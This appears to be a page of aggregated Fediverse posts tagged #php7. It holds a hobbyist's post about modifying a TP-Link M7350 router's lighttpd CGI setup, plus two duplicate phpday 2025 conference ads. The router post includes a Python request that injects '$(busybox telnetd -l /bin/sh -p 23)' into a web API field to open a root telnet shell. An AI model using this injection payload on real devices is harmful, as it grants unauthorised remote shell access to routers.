home.social

#php7 — Public Fediverse posts

Live and recent posts from across the Fediverse tagged #php7, aggregated by home.social.

  1. How very.. #odd
    After a slight #lighhttpd change
    ----------------
    server.modules = (
    / # # Uncomment the CGI assignment line
    / # sed -i 's|^#cgi.assign.*|cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl" )|' /etc/lighttpd.conf
    / # grep -n "cgi.assign" /etc/lighttpd.conf
    141: cgi.assign = ( "" => "" )
    144: cgi.assign = ( "" => "" )
    248:cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl" )
    /
    -------------

    and rebooting the #m7350 now #telnet will not renable again with the script.

    Whats even weirder.

    qcmap_web_cgi throws a 404..
    I'm eternally confused

    We still get a token no problemo, but somehow telnet is now closed and stays ?
    (Why would a router reboot or slight lighttpd change cause this ?)

    Should've enabled #adb while I had the chance haha.

    Not eternally sad as I was running into brickwalls left and right with #php7 8 and #python ..
    And even #perl has issues Ohwell




    C:\Users\User>python -c "import requests; r=requests.post('http://192.168.0.1/qcmap_web_cgi', json={'token':'WPL3qTwBJ8YSmbz1','module':'webServer','action':1,'language':'\$(busybox telnetd -l /bin/sh -p 23)'}, headers={'Cookie':'tpweb_token=WPL3qTwBJ8YSmbz1'}); print(r.status_code, r.text)"
    <string>&#58;1&#58; SyntaxWarning&#58; invalid escape sequence '\$'
    404 <?xml version="1.0" encoding="iso-8859-1"?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http&#58;//www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http&#58;//www.w3.org/1999/xhtml" xml&#58;lang="en" lang="en">
    <head>
    <title>404 - Not Found</title>
    </head>
    <body>
    <h1>404 - Not Found</h1>
    </body>
    </html>






    #repost •acws #acws
  2. Don't miss phpday 2025!🥳
    The community is looking forward to joining Verona as soon as possible.
    Tickets for 22nd edition are selling quickly!

    Few early bird tickets are available.
    🐤 bit.ly/3PPceLi

    #API #REST #Architectures #ContinuousDelivery #Database #Development #Devops #Frameworks #Internals #PHP7 #PHP8 #conference #networking #community

    -----
    #phpday - The gathering for the European PHP community.
    📍 Verona (Italy) | 📅 May 15-16, 2025

  3. Don't miss phpday 2025!🥳
    The community is looking forward to joining Verona as soon as possible.
    Tickets for 22nd edition are selling quickly!

    Few early bird tickets are available.
    🐤 bit.ly/3PPceLi

    #API #REST #Architectures #ContinuousDelivery #Database #Development #Devops #Frameworks #Internals #PHP7 #PHP8 #conference #networking #community

    -----
    #phpday - The gathering for the European PHP community.
    📍 Verona (Italy) | 📅 May 15-16, 2025